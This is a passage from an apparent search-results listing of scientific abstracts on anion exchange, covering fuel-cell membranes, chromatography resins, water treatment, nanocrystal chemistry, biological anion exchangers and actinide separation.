X-ray diffraction (XRD), Fourier-transform infrared spectroscopy (FT-IR), scanning electron microscopy (SEM), elemental analysis, and nitrogen adsorption experiment. The amount of PNIPAM immobilized on the external surface of mesoporous silica, which was calculated from the weight loss measured by thermogravimetry, increased from 5.3 wt.% to 12.9 wt.% (dry) depending on the amount of PNIPAM added in the click reaction. The adsorption-desorption behavior of methyl orange (MO) ions in this synthesized anion exchanger was affected by the temperature of aqueous solution: the MO ions were adsorbed and desorbed reversibly and repeatedly with changing the pH of the solution at 25 °C, while the amount of adsorbed MO ions remained nearly constant at about 0.05 mmol/g independent of the pH of the solution at 40 °C. Also, the amount of PNIPAM immobilized on the mesoporous silica influenced the adsorption rate of MO ions, suggesting that the adsorption rate in this composite is controlled by the diffusion of MO ions through the PNIPAM layer. 18. A Novel Methodology to Synthesize Highly Conductive Anion Exchange Membranes He, Yubin; Pan, Jiefeng; Wu, Liang; Zhu, Yuan; Ge, Xiaolin; Ran, Jin; Yang, Zhengjin; Xu, Tongwen 2015-08-01 Alkaline polyelectrolyte fuel cell now receives growing attention as a promising candidate to serve as the next generation energy-generating device by enabling the use of non-precious metal catalysts (silver, cobalt, nickel et al.). However, the development and application of alkaline polyelectrolyte fuel cell is still blocked by the poor hydroxide conductivity of anion exchange membranes. In order to solve this problem, we demonstrate a methodology for the preparation of highly OH- conductive anion exchange polyelectrolytes with good alkaline tolerance and excellent dimensional stability. Polymer backbones were grafted with flexible aliphatic chains containing two or three quaternized ammonium groups. The highly flexible and hydrophilic multi-functionalized side chains prefer to aggregate together to facilitate the formation of well-defined hydrophilic-hydrophobic microphase separation, which is crucial for the superior OH- conductivity of 69 mS/cm at room temperature. Besides, the as-prepared AEMs also exhibit excellent alkaline tolerance as well as improved dimensional stability due to their carefully designed polymer architecture, which provide new directions to pursue high performance AEMs and are promising to serve as a candidate for fuel cell technology. 19. Computer simulation of methanol exchange dynamics around cations and anions SciTech Connect Roy, Santanu; Dang, Liem X. 2016-03-03 In this paper, we present the first computer simulation of methanol exchange dynamics between the first and second solvation shells around different cations and anions. After water, methanol is the most frequently used solvent for ions. Methanol has different structural and dynamical properties than water, so its ion solvation process is different. To this end, we performed molecular dynamics simulations using polarizable potential models to describe methanol-methanol and ion-methanol interactions. In particular, we computed methanol exchange rates by employing the transition state theory, the Impey-Madden-McDonald method, the reactive flux approach, and the Grote-Hynes theory. We observed that methanol exchange occurs at a nanosecond time scale for Na+ and at a picosecond time scale for other ions. We also observed a trend in which, for like charges, the exchange rate is slower for smaller ions because they are more strongly bound to methanol. This work was supported by the US Department of Energy, Office of Science, Office of Basic Energy Sciences, Division of Chemical Sciences, Geosciences, and Biosciences. The calculations were carried out using computer resources provided by the Office of Basic Energy Sciences. 20. Enhanced DOC removal using anion and cation ion exchange resins. PubMed Arias-Paic, Miguel; Cawley, Kaelin M; Byg, Steve; Rosario-Ortiz, Fernando L 2016-01-01 Hardness and DOC removal in a single ion exchange unit operation allows for less infrastructure, is advantageous for process operation and depending on the water source, could enhance anion exchange resin removal of dissolved organic carbon (DOC). Simultaneous application of cationic (Plus) and anionic (MIEX) ion exchange resin in a single contact vessel was tested at pilot and bench scales, under multiple regeneration cycles. Hardness removal correlated with theoretical predictions; where measured hardness was between 88 and 98% of the predicted value. Comparing bench scale DOC removal of solely treating water with MIEX compared to Plus and MIEX treated water showed an enhanced DOC removal, where removal was increased from 0.5 to 1.25 mg/L for the simultaneous resin application compared to solely applying MIEX resin. A full scale MIEX treatment plant (14.5 MGD) reduced raw water DOC from 13.7 mg/L to 4.90 mg/L in the treated effluent at a bed volume (BV) treatment rate of 800, where a parallel operation of a simultaneous MIEX and Plus resin pilot (10 gpm) measured effluent DOC concentrations of no greater than 3.4 mg/L, even at bed volumes of treatment 37.5% greater than the full scale plant. MIEX effluent compared to simultaneous Plus and MIEX effluent resulted in differences in fluorescence intensity that correlated to decreases in DOC concentration. The simultaneous treatment of Plus and MIEX resin produced water with predominantly microbial character, indicating the enhanced DOC removal was principally due to increased removal of terrestrially derived organic matter. The addition of Plus resin to a process train with MIEX resin allows for one treatment process to remove both DOC and hardness, where a single brine waste stream can be sent to sewer at a full-scale plant, completely removing lime chemical addition and sludge waste disposal for precipitative softening processes. 1. Optimized anion exchange membranes for vanadium redox flow batteries. PubMed Chen, Dongyang; Hickner, Michael A; Agar, Ertan; Kumbur, E Caglan 2013-08-14 2. Evaluation of a new, macroporous polyvinylpyridine resin for processing plutonium using nitrate anion exchange SciTech Connect Marsh, S.F. 1989-04-01 Anion exchange in nitric acid is the major aqueous process used to recover and purify plutonium from impure scrap materials. Most strong-base anion exchange resins incorporate a styrene-divinylbenzene copolymer. A newly available, macroporous anion exchange resin based on a copolymer of 1-methyl-4-vinylpyridine and divinylbenzene has been evaluated. Comparative data for Pu(IV) sorption kinetics and capacity are presented for this new resin and two other commonly used anion exchange resins. The new resin offers high capacity and rapid sorption kinetics for Pu(IV) from nitric acid, as well as greatly stability to chemical and radiolytic degradation. 8 refs., 14 figs. 3. Simultaneous determination of NH4+, NO2(-) and NO3(-) by ion-exclusion/anion-exchange chromatography on a strongly basic anion-exchange resin with basic eluent. PubMed Mori, Masanobu; Hironaga, Takahiro; Itabashi, Hideyuki; Nakatani, Nobutake; Kozaki, Daisuke; Tanaka, Kazuhiko 2012-04-01 Ion-exclusion/anion-exchange chromatography (IEC/AEC) on a combination of a strongly basic anion-exchange resin in the OH(-)-form with basic eluent has been developed. The separation mechanism is based on the ion-exclusion/penetration effect for cations and the anion-exchange effect for anions to anion-exchange resin phase. This system is useful for simultaneous separation and determination of ammonium ion (NH4+), nitrite ion (NO2(-)), and nitrate ion (NO3(-)) in water samples. The resolution of analyte ions can be manipulated by changing the concentration of base in eluent on a polystyrene-divinylbenzene based strongly basic anion-exchange resin column. In this study, several separation columns, which consisted of different particle sizes, different functional groups and different anion-exchange capacities, were compared. As the results, the separation column with the smaller anion-exchange capacity (TSKgel Super IC-Anion) showed well-resolved separation of cations and anions. In the optimization of the basic eluent, lithium hydroxide (LiOH) was used as the eluent and the optimal concentration was concluded to be 2 mmol/L, considering the resolution of analyte ions and the whole retention times. In the optimal conditions, the relative standard deviations of the peak areas and the retention times of NH4+, NO2(-), and NO3(-) ranged 1.28% - 3.57% and 0.54% - 1.55%, respectively. The limits of detection at signal-to-noise of 3 were 4.10 micromol/L for NH4+, 1.87 micromol/L for NO2(-) and 2.83 micromol/L for NO3(-). 4. A simple halide-to-anion exchange method for heteroaromatic salts and ionic liquids. PubMed Alcalde, Ermitas; Dinarès, Immaculada; Ibáñez, Anna; Mesquida, Neus 2012-04-02 A broad and simple method permitted halide ions in quaternary heteroaromatic and ammonium salts to be exchanged for a variety of anions using an anion exchange resin (A(-) form) in non-aqueous media. The anion loading of the AER (OH(-) form) was examined using two different anion sources, acids or ammonium salts, and changing the polarity of the solvents. The AER (A(-) form) method in organic solvents was then applied to several quaternary heteroaromatic salts and ILs, and the anion exchange proceeded in excellent to quantitative yields, concomitantly removing halide impurities. Relying on the hydrophobicity of the targeted ion pair for the counteranion swap, organic solvents with variable polarity were used, such as CH(3)OH, CH(3)CN and the dipolar nonhydroxylic solvent mixture CH(3)CN:CH(2)Cl(2) (3:7) and the anion exchange was equally successful with both lipophilic cations and anions. 5. Alkaline direct alcohol fuel cells using an anion exchange membrane Matsuoka, Koji; Iriyama, Yasutoshi; Abe, Takeshi; Matsuoka, Masao; Ogumi, Zempachi Alkaline direct alcohol fuel cells using an OH-form anion exchange membrane and polyhydric alcohols were studied. A high open circuit voltage of ca. 800 mV was obtained for a cell using Pt-Ru/C (anode) and Pt/C (cathode) at 323 K, which was about 100-200 mV higher than that for a DMFC using Nafion ®. The maximum power densities were in the order of ethylene glycol > glycerol > methanol > erythritol > xylitol. Silver catalysts were used as a cathode catalyst to fabricate alkaline fuel cells, since silver catalyst is almost inactive in the oxidation of polyhydric alcohols. Alkaline direct ethylene glycol fuel cells using silver as a cathode catalyst gave excellent performance because higher concentrations of fuel could be supplied to the anode. 6. Dual transport properties of anion exchanger 1: the same transmembrane segment is involved in anion exchange and in a cation leak. PubMed Barneaud-Rocca, Damien; Borgese, Franck; Guizouarn, Hélène 2011-03-18 Previous results suggested that specific point mutations in human anion exchanger 1 (AE1) convert the electroneutral anion exchanger into a monovalent cation conductance. In the present study, the transport site for anion exchange and for the cation leak has been studied by cysteine scanning mutagenesis and sulfhydryl reagent chemistry. Moreover, the role of some highly conserved amino acids within members of the SLC4 family to which AE1 belongs has been assessed in AE1 transport properties. The results suggest that the same transport site within the AE1 spanning domain is involved in anion exchange or in cation transport. A functioning mechanism for this transport site is proposed according to transport properties of the different studied point mutations of AE1. 7. Ether cleavage-triggered degradation of benzyl alkylammonium cations for polyethersulfone anion exchange membranes. PubMed Miyanishi, Shoji; Yamaguchi, Takeo 2016-04-28 Anion exchange membranes are of increasing interest due to their applications in many electrochemical devices such as solid-state alkaline fuel cells. However, their practical applications remain limited compared to proton exchange membranes as they have been found to degrade in alkaline media. This degradation is believed to be derived from the instability of the anion exchange group under alkaline conditions. Consequently, much effort has been focused on the development of an anion exchange group that is stable in alkaline media, allowing for application in membranes. Herein, we analyze the detailed alkaline degradation mechanism of a generally applied anion exchange membrane, composed of quaternary ammonium-modified polyethersulfone, using several model compounds. We found that decomposition of the anion exchange group was not derived from the instability of the ionic group itself, as commonly believed; rather, ether cleavage triggered the degradation of the ionic group. The mechanism proposed herein indicates that improvement of the backbone stability is much more important than optimization of the anion exchange group in developing a durable anion exchange membrane. Furthermore, careful analysis is necessary to precisely evaluate the stability of the anion exchange group in the membrane. 8. Hetero-Epitaxial Anion Exchange Yields Single-Crystalline Hollow Nanoparticles SciTech Connect Park, Jungwon; Zheng, Haimei; Jun, Young-wook; Alivisatos, A. Paul 2009-08-26 Anion exchange with S was performed on ZnO colloidal nanoparticles. The resulting hollow ZnS nanoparticles are crystal whose shape is dictated by the initial ZnO. Crystallographic and elemental analyses provide insight into the mechanism of the anion exchange. 9. Hydroxide Solvation and Transport in Anion Exchange Membranes. PubMed Chen, Chen; Tse, Ying-Lung Steve; Lindberg, Gerrick E; Knight, Chris; Voth, Gregory A 2016-01-27 Understanding hydroxide solvation and transport in anion exchange membranes (AEMs) can provide important insight into the design principles of these new membranes. To accurately model hydroxide solvation and transport, we developed a new multiscale reactive molecular dynamics model for hydroxide in aqueous solution, which was then subsequently modified for an AEM material. With this model, we investigated the hydroxide solvation structure and transport mechanism in the membrane. We found that a relatively even separation of the rigid side chains produces a continuous overlapping region for hydroxide transport that is made up of the first hydration shell of the tethered cationic groups. Our results show that hydroxide has a significant preference for this overlapping region, transporting through it and between the AEM side chains with substantial contributions from both vehicular (standard diffusion) and Grotthuss (proton hopping) mechanisms. Comparison of the AEM with common proton exchange membranes (PEMs) showed that the excess charge is less delocalized in the AEM than the PEMs, which is correlated with a higher free energy barrier for proton transfer reactions. The vehicular mechanism also contributes considerably more than the Grotthuss mechanism for hydroxide transport in the AEM, while our previous studies of PEM systems showed a larger contribution from the Grotthuss mechanism than the vehicular mechanism for proton transport. The activation energy barrier for hydroxide diffusion in the AEM is greater than that for proton diffusion in PEMs, implying a more significant enhancement of ion transport in the AEM at elevated temperatures. 10. Hydroxide Solvation and Transport in Anion Exchange Membranes SciTech Connect Chen, Chen; Tse, Ying-Lung Steve; Lindberg, Gerrick E.; Knight, Chris; Voth, Gregory A. 2016-01-27 Understanding hydroxide solvation and transport in anion exchange membranes (AEMs) can provide important insight into the design principles of these new membranes. To accurately model hydroxide solvation and transport, we developed a new multiscale reactive molecular dynamics model for hydroxide in aqueous solution, which was then subsequently modified for an AEM material. With this model, we investigated the hydroxide solvation structure and transport mechanism in the membrane. We found that a relatively even separation of the rigid side chains produces a continuous overlapping region for hydroxide transport that is made up of the first hydration shell of the tethered cationic groups. Our results show that hydroxide has a significant preference for this overlapping region, transporting through it and between the AEM side chains with substantial contributions from both vehicular (standard diffusion) and Grotthuss (proton hopping) mechanisms. Comparison of the AEM with common proton exchange membranes (PEMs) showed that the excess charge is less delocalized in the AEM than the PEMs, which is correlated with a higher free energy barrier for proton transfer reactions. The vehicular mechanism also contributes considerably more than the Grotthuss mechanism for hydroxide transport in the AEM, while our previous studies of PEM systems showed a larger contribution from the Grotthuss mechanism than the vehicular mechanism for proton transport. The activation energy barrier for hydroxide diffusion in the AEM is greater than that for proton diffusion in PEMs, implying a more significant enhancement of ion transport in the AEM at elevated temperatures. 11. Effects of the exchange capacity and cross-linking degree on the hydration states of anions in quantitative loading onto strongly basic anion-exchange resins. PubMed Yuchi, Akio; Kuroda, Shigeo; Takagi, Mayuu; Watanabe, Yuuya; Nakao, Satoshi 2010-10-15 The water content was determined for five strongly basic anion-exchange resins (trimethyammonium type having different exchange capacities and cross-linking degrees by divinylbenzene) in definite anionic forms (ten singly, three doubly, one triply, and one quadruply charged) dried at 25 °C and at a relative humidity of 50%. Incorporation of the results of the previous research on the conventional resins by X-ray absorption fine structure and diffraction methods indicated that the present method gave the number of intrinsic water molecules strongly interacting with an anion. The hydration numbers of weakly hydrating anions (Cl⁻, Br⁻, and ClO₄⁻) and a small anion (F⁻) were independent of the exchange capacity and slightly decreased with an increase in cross-linking, especially at 8%. The small and strongly hydrating ion F⁻ kept the in-water hydration structure to form a water-separated ion pair in the resins, while the other weakly hydrating ions were appreciably dehydrated to form a contact ion pair. The hydration number of a strongly hydrating ion, H₂PO₄⁻, appreciably decreased with increases in both the exchange capacity and cross-linking degree accompanied by intermolecular hydrogen bonding between the anions. This may be related to other characteristics of the H₂PO₄⁻ form resin, such as a higher concentration required for quantitative exchange, a systematic change in infrared spectra on the degree of exchange, and facile thermal dehydration, giving H₂P₂O₇²⁻. In contrast, multivalent anions were exchanged without dehydration, due to the larger space allowed for in the resins and the stronger interaction with water compared to those of monovalent anions. 12. Selectivity control in synergistic liquid-liquid anion exchange of univalent anions via structure-specific cooperativity between quaternary ammonium cations and anion receptors. PubMed Borman, Christopher J; Bonnesen, Peter V; Moyer, Bruce A 2012-10-02 Two anion receptors enhance liquid-liquid anion exchange when added to quaternary alkylammonium chloride anion exchangers, but with a striking dependence on the structure of the alkylammonium cation that suggests a supramolecular cooperative effect. Two anion receptors were investigated, meso-octamethylcalix[4]pyrrole (C4P) and the bisthiourea tweezer 1,1'-(propane-1,3-diyl)bis(3-(4-sec-butylphenyl)thiourea (BTU). Whereas synergism is comparatively weak when either methyltri(C(8,10))alkylammonium chloride (Aliquat 336) or tetraheptylammonium chloride is used with the BTU receptor, synergism between C4P and Aliquat 336 is so pronounced that anion exchange prefers chloride over more extractable nitrate and trifluoroacetate, effectively overcoming the ubiquitous Hofmeister bias. A thermochemical analysis of synergistic anion exchange has been provided for the first time, resulting in the estimation of binding constants for C4P with the ion pairs of A336(+) with Cl(-), Br(-), OAc(F3)(-), NO(3)(-), and I(-). 13. Preparation of a dibenzylated 1,4-diazacyclohexane-derived strong anion-exchange stationary phase. PubMed Ruan, Juxiang; Zuo, Xiongjun; Lang, Qiwei; Zeng, Zhijian; Li, Chao 2013-07-05 This paper reports the preparation of a novel, silica-based, strong anion-exchange stationary phase from a 1,4-diazacyclohexane derivative. To prepare the difunctional strong anion-exchange stationary phase, activated silica beads were first bonded with 3-chloropropyltriethoxysilane and then reacted with 1-methylpiperazine followed by benzyl chloride. The silica beads, the strong anion-exchange stationary phase and its precusors were instrumentally characterized. Aromatic acids were separated with non-aqueous anion-exchange chromatography. After elution with eluant prepared in mixed solvents of water and methanol, the resulting 1,4-diazacyclohexane-derived, difunctional, strong anion-exchange stationary phase exhibited good separation and selectivity for the aromatic acids investigated. The effects of eluant pH, eluant ion concentration and solvent composites on the separations were investigated. Organic acids with different substituents were eluted in order of decreasing dissociation coefficients, with no observable peak shape differences. 14. Removal of Pu238 from Neptunium Solution by Anion Exchange SciTech Connect KYSER, EDWARD 2003-12-01 A new anion flowsheet for use in HB-Line was tested in the lab with Reillex{trademark} HPQ for removal of Pu{sup 238} contamination from Np. Significant rejection of Pu{sup 238} was observed by washing with 6 to 12 bed volumes (BV) of reductive wash containing reduced nitric acid concentration along with both ferrous sulfamate (FS) and hydrazine. A shortened-height column was utilized in these tests to match changes in the plant equipment. Lab experiments scaled to plant batch sizes of 1500 to 2200 g Np were observed with modest losses for up-flow washing. Down-flow washing was observed to have high losses. The following are recommended conditions for removing Pu{sup 238} from Np solutions by anion exchange in HB-Line: (1) Feed conditions: Up-flow 6.4-8 M HNO{sub 3}, 0.02 M hydrazine, 0.05 M excess FS, less than 5 days storage of solution after FS addition. (2) Reductive Wash conditions: Up-flow 6-12 BV of 6.4 M HNO{sub 3}, 0.05 M FS, 0.05 M hydrazine. 1.8 mL/min/cm{sup 2} flowrate. (3) Decontamination Wash conditions: Up-flow 1-2 BV of 6.4-8 M HNO{sub 3}, no FS, no hydrazine. (4) Elution conditions: Down-flow 0.17 M HNO{sub 3}, 0.05 M hydrazine, no FS. 15. High-capacity anion exchangers based on poly (glycidylmethacrylate-divinylbenzene) microspheres for ion chromatography. PubMed Liu, Junwei; Wang, Yong; Cheng, Heli; Wang, Nani; Wu, Shuchao; Zhang, Peimin; Zhu, Yan 2016-10-01 Poly (glycidylmethacrylate-divinylbenzene) microspheres were prepared by the two-staged swelling and polymerization method and applied to prepare anion exchange stationary phases. Methylamine, dimethylamine, trimethylamine, diethylamine and triethylamine were selected to prepare the quaternary ammonium groups of anion exchangers, respectively. The diameters and surface characteristics of microspheres were measured by scanning electron microscope and nitrogen adsorption-desorption measurements. The anion exchangers were characterized by Fourier transform infrared spectrum, elemental analysis and breakthrough curve methods. The chromatographic performances of anion exchangers were illustrated by separating conventional anions, organic weak acids and carbohydrates. The results indicated that the anion exchange capacities were controllable by changing either the content of glycidylmethacrylate in microspheres or the number of bonded quaternary ammonium layer. Meanwhile, the substituents of quaternary ammonium groups greatly influenced the separation properties of anion exchangers. Finally, the three-layer methylamine-quaternized anion exchanger was successfully applied for the determination of fluoride in tea sample. The content of fluoride was detected to be 0.13mgg(-1) without the interference of acetate and formate. 16. Anion exchanger 2 is essential for spermiogenesis in mice PubMed Central Medina, Juan F.; Recalde, Sergio; Prieto, Jesús; Lecanda, Jon; Sáez, Elena; Funk, Colin D.; Vecino, Paola; van Roon, Marian A.; Ottenhoff, Roelof; Bosma, Piter J.; Bakker, Conny T.; Elferink, Ronald P. J. Oude 2003-01-01 Na+-independent anion exchangers (AE) mediate electroneutral exchange of Cl- for \\documentclass[12pt]{minimal} \\usepackage{amsmath} \\usepackage{wasysym} \\usepackage{amsfonts} \\usepackage{amssymb} \\usepackage{amsbsy} \\usepackage{mathrsfs} \\setlength{\\oddsidemargin}{-69pt} \\begin{document} \\begin{equation}{\\mathrm{HCO}}_{3}^{-}\\end{equation}\\end{document} ions across cell membranes, being involved in intracellular pH and cell volume regulation and in transepithelial hydroionic fluxes. Bicarbonate activation of adenylyl cyclase is known to be necessary for sperm motility and sperm capacitation, and a few studies have suggested a possible role of AE carriers in reproduction. Among the four AE genes identified in mammals thus far, only Ae2 (Slc4a2) has been determined to be expressed in the male reproductive system, especially in developing spermatozoa and in epididymal epithelium. Most AE genes drive alternative transcription, which in mouse Ae2 results in several Ae2 isoforms. Here, we generated mice carrying a targeted disruption of Ae2 that prevents the expression of the three AE2 isoforms (Ae2a, Ae2b1, and Ae2b2) normally found in mouse testes. Male Ae2-/- mice (but not female Ae2-/- mice) are infertile. Histopathological analysis of Ae2-/- testes shows an interruption of spermiogenesis, with only a few late spermatids and a complete absence of spermatozoa in the seminiferous tubules. The number of apoptotic bodies is increased in the seminiferous tubules and in the epididymis, which also shows squamous metaplasia of the epididymal epithelium. Our findings reveal an essential role of Ae2 in mouse spermiogenesis and stress the recently postulated involvement of bicarbonate in germ-cell differentiation through the bicarbonate-sensitive soluble-adenylyl-cyclase pathway. PMID:14673081 17. Preparation of high purity egg phosvitin using anion exchange chromatography. PubMed Ren, Jiandong; Wu, Jianping 2014-09-01 Egg yolk phosvitin serves as a warehouse to provide metal ions for embryo development. It is significant for mineral metabolism study and also of great potential to be developed into functional foods with mineral absorption promoting ability. In this study, phosvitin was first extracted from yolk granules using 10% NaCl, dialysed and then adjusted to various pHs to remove impurities. The purity of phosvitin extracts was increased from 54.5% to 63.7% at decreasing pH from 8.0 to 5.5, and started to decrease afterwards. Both the yield and recovery were significantly decreased at decreasing pHs, especially at pHs close to its pI (pH 4.0), indicating the occurrence of co-precipitation of phosvitin with HDL. The extract prepared at pH 8.0 showed the highest recovery of 82.7%; its purity was increased from 54.5% to 97.1% by anion exchange chromatography, with a recovery of 42.0%. This simple method could be scaled up for industrial production. 18. Effects of arginine on multimodal anion exchange chromatography. PubMed Hirano, Atsushi; Arakawa, Tsutomu; Kameda, Tomoshi 2015-12-01 The effects of arginine on binding and elution properties of a multimodal anion exchanger, Capto adhere, were examined using bovine serum albumin (BSA) and a monoclonal antibody against interleukin-8 (mAb-IL8). Negatively charged BSA was bound to the positively charged Capto adhere and was readily eluted from the column with a stepwise or gradient elution using 1M NaCl at pH 7.0. For heat-treated BSA, small oligomers and remaining monomers were also eluted using a NaCl gradient, whereas larger oligomers required arginine for effective elution. The positively charged mAb-IL8 was bound to Capto adhere at pH 7.0. Arginine was also more effective for elution of the bound mAb-IL8 than was NaCl. The results imply that arginine interacts with the positively charged Capto adhere. The mechanism underlying the interactions of arginine with Capto adhere was examined by calculating the binding free energy between an arginine molecule and a Capto adhere ligand in water through molecular dynamics simulations. The overall affinity of arginine for Capto adhere is attributed to the hydrophobic and π-π interactions between an arginine side chain and the aromatic moiety of the ligand as well as hydrogen bonding between arginine and the ligand hydroxyl group, which may account for the characteristics of protein elution using arginine. 19. Adsorption of plasmid DNA on anion exchange chromatography media. PubMed Tarmann, Christina; Jungbauer, Alois 2008-08-01 Anion exchange chromatography (AEC) is a useful and effective tool for DNA purification, but due to average pore sizes between 40 and 100 nm most AEC resins lack truly useful binding capacities for plasmid DNA (pDNA). Equilibrium binding capacities and uptake kinetics of AEC media including conventional media (Source 30 Q, Q Sepharose HP), a polymer grafted medium (Fractogel EMD DEAE (M)), media with large pores (Celbeads DEAE, PL SAX 4000 A 30 microm) and a monolithic medium (CIM-DEAE) were investigated by batch uptake or shallow bed experiments at two salt concentrations. Theoretical and experimental binding capacities suggest that the shape of the pDNA molecule can be described by a rod with a length to diameter ratio of 20:1 and that the molecule binds in upright position. The arrangement of DNA like a brush at the surface can be considered as entropy driven, kind of self-assembly process which is inherent to highly and uniformly charged DNA molecules. The initial phase of adsorption is very fast and levels off, associated with a change in mass transfer mechanism. Feed concentrations higher than 0.1 mg/mL pDNA pronounce this effect. Monolithic media showed the fastest adsorption rate and highest binding capacity with 13 mg pDNA per mL. 20. Improved immunoadsorption procedure with anion-exchange bacterial cell columns. PubMed McKinney, R M; Thacker, L; Wong, M C; Hebert, G A 1978-01-01 Bacterial cell columns for immunoadsorption were prepared with Streptococcus cells and triethylaminoethyl cellulose (Cellex-T) matrix material as a model system. Good column flow properties and satisfactory retention of the cells were obtained with ratios as high as 2 ml of packed cells/3 g dry weight of cellulose. Anion-exchange fractionation of whole serum by the Cellex-T was prevented by using 0.25 M NaCl in the developing buffer. Antibodies were adsorbed directly from whole serum and recovered in high yield by desorption at pH 2.3. Pre-exposing bacterial cells to formalin and washing them with acetone was necessary to ensure that they remained on the columns. One strain of Streptococcus salivarius (SS 908) was satisfactorily retained on a column only after cells were labeled with fluorescein isothiocyanate and washed with acetone. The means by which Cellex-T retains bacterial cells appears to be a combination of electronic attraction and physical entrapment. 1. Anion-exchange resin-based desulfurization process SciTech Connect Sheth, A.C.; Strevel, S.D.; Dharmapurikar, R. 1992-01-01 Under the current grant, the University of Tennessee Space Institute (UTSI) will carry out the bench scale evaluation and further development of the anion-exchange resin-based desulfurization concept to desulfurize alkali metal sulfates. This concept has been developed and patented by UTSI under US Patent No. 4,917,874. The developmental program proposed under this DOE grant includes screening of commercially available resins to select three candidate resins for further study. These three resins will undergo a series of experiments designed to test the resins' performance under different process conditions (including the use of spent MHD seed material). The best of these resins will be used in optimizing the regeneration step and in testing the effects of performance enhancers. The process schematic developed from the results will be used to estimate the related economics. During this reporting period, October 1, 1991 to September 30, 1992, analysis of batch mode screening experiments was completed to select three candidate resins for process variables study in the fixed-bed set-up. This setup was modified and the experiments were carded out to evaluate effects of major process variables. The analysis of fixed-bed experiments is going on and we have also started simple batch mode experiments to identify desirable conditions for resin regeneration step. We have also started simple process engineering type calculations to determine the trade-off between the solution concentration and the resulting evaporation/concentration load. 2. Controlled optical properties of water-soluble CdTe nanocrystals via anion exchange. PubMed Li, Jing; Jia, Jianguang; Lin, Yuan; Zhou, Xiaowen 2016-02-01 We report a study on anion exchange reaction of CdTe nanocrystals with S(2-) in aqueous solution under ambient condition. We found that the optical properties of CdTe nanocrystals can be well tuned by controlling the reaction conditions, in which the reaction temperature is crucially important. At low reaction temperature, the product nanocrystals showed blue-shifts in both absorption and PL spectra, while the photoluminescence quantum yield (PLQY) was significantly enhanced. When anion exchanges were carried out at higher reaction temperature, on the other hand, obvious red shifts in absorption and PL spectra accompanied by a fast increase followed by gradual decrease in PLQY were observed. On variation of S(2-) concentration, it was found that the overall kinetics of Te(2-) for S(2-) exchanges depends also on [S(2-)] when anion exchanges were performed at higher temperature. A possible mechanism for anion exchanges in CdTe NCs was proposed. 3. Evolution of volatile substances from strongly basic anion-exchangers into the gas phase SciTech Connect Ryabikina, L.G.; Afanas'eva, E.K.; Vulkih, A.I.; Yakovlev, A.I. 1985-05-10 The purpose of this work was chemical evaluation, from the sanitary standpoint, of strongly basic anion-exchangers and of polyacrylonitrile fibers filled with them, in relation to their use for purification of air intended for human respiration. The carbonate forms of granulated anion-exchange resins AV-17-8 and AV-29-10P and fibers filled with them were investigated. Amines were determined spectrophotometrically. It is determined that the sanitary chemical characteristics of PAN fibers filled with strongly basic anion-exchangers of the polymerization type make them suitable for removing substances which have no destructive effects on the resins from air. 4. Acute and chronic influence of temperature on red blood cell anion exchange. PubMed Jensen, F B; Wang, T; Brahm, J 2001-01-01 Unidirectional (36)Cl(-) efflux via the red blood cell anion exchanger was measured under Cl(-) self-exchange conditions (i.e. no net flow of anions) in rainbow trout Oncorhynchus mykiss and red-eared freshwater turtle Trachemys scripta to examine the effects of acute temperature changes and acclimation temperature on this process. We also evaluated the possible adaptation of anion exchange to different temperature regimes by including our previously published data on other animals. An acute temperature increase caused a significant increase in the rate constant (k) for unidirectional Cl(-) efflux in rainbow trout and freshwater turtle. After 3 weeks of temperature acclimation, 5 degrees C-acclimated rainbow trout showed only marginally higher Cl(-) transport rates than 15 degrees C-acclimated trout when compared at the same temperature. Apparent activation energies for red blood cell Cl(-) exchange in trout and turtle were lower than values reported in endothermic animals. The Q(10) for red blood cell anion exchange was 2.0 in trout and 2.3 in turtle, values close to those for CO(2) excretion, suggesting that, in ectothermic animals, the temperature sensitivity of band-3-mediated anion exchange matches the temperature sensitivity of CO(2) transport (where red blood cell Cl(-)/HCO(3)(-) exchange is a rate-limiting step). In endotherms, such as man and chicken, Q(10) values for red blood cell anion exchange are considerably higher but are no obstacle to CO(2) transport, because body temperature is normally kept constant at values at which anion exchange rates are high. When compared at constant temperature, red blood cell Cl(-) permeability shows large differences among species (trout, carp, eel, cod, turtle, alligator, chicken and man). Cl(-) permeabilities are, however, remarkable similar when compared at preferred body temperatures, suggesting an appropriate evolutionary adaptation of red blood cell anion exchange function to the different thermal niches occupied 5. Ion-exchange equilibrium of N-acetyl-D-neuraminic acid on a strong anionic exchanger. PubMed Wu, Jinglan; Ke, Xu; Zhang, Xudong; Zhuang, Wei; Zhou, Jingwei; Ying, Hanjie 2015-09-15 N-acetyl-D-neuraminic acid (Neu5Ac) is a high value-added product widely applied in the food industry. A suitable equilibrium model is required for purification of Neu5Ac based on ion-exchange chromatography. Hence, the equilibrium uptake of Neu5Ac on a strong anion exchanger, AD-1 was investigated experimentally and theoretically. The uptake of Neu5Ac by the hydroxyl form of the resin occurred primarily by a stoichiometric exchange of Neu5Ac(-) and OH(-). The experimental data showed that the selectivity coefficient for the exchange of Neu5Ac(-) with OH(-) was a non-constant quantity. Subsequently, the Saunders' model, which took into account the dissociation reactions of Neu5Ac and the condition of electroneutrality, was used to correlate the Neu5Ac sorption isotherms at various solution pHs and Neu5Ac concentrations. The model provided an excellent fit to the binary exchange data for Cl(-)/OH(-) and Neu5Ac(-)/OH(-), and an approximate prediction of equilibrium in the ternary system Cl(-)/Neu5Ac(-)/OH(-). This basic information combined with the general mass transfer model could lay the foundation for the prediction of dynamic behavior of fixed bed separation process afterwards. 6. Ionic resistance and permselectivity tradeoffs in anion exchange membranes. PubMed Geise, Geoffrey M; Hickner, Michael A; Logan, Bruce E 2013-10-23 Salinity gradient energy technologies, such as reverse electrodialysis (RED) and capacitive mixing based on Donnan potential (Capmix CDP), could help address the global need for noncarbon-based energy. Anion exchange membranes (AEMs) are a key component in these systems, and improved AEMs are needed in order to optimize and extend salinity gradient energy technologies. We measured ionic resistance and permselectivity properties of quaternary ammonium-functionalized AEMs based on poly(sulfone) and poly(phenylene oxide) polymer backbones and developed structure-property relationships between the transport properties and the water content and fixed charge concentration of the membranes. Ion transport and ion exclusion properties depend on the volume fraction of water in the polymer membrane, and the chemical nature of the polymer itself can influence fine-tuning of the transport properties to obtain membranes with other useful properties, such as chemical and dimensional stability. The ionic resistance of the AEMs considered in this study decreased by more than 3 orders of magnitude (i.e., from 3900 to 1.6 Ω m) and the permselectivity decreased by 6% (i.e., from 0.91 to 0.85) as the volume fraction of water in the polymer was varied by a factor of 3.8 (i.e., from 0.1 to 0.38). Water content was used to rationalize a tradeoff relationship between the permselectivity and ionic resistance of these AEMs whereby polymers with higher water content tend to have lower ionic resistance and lower 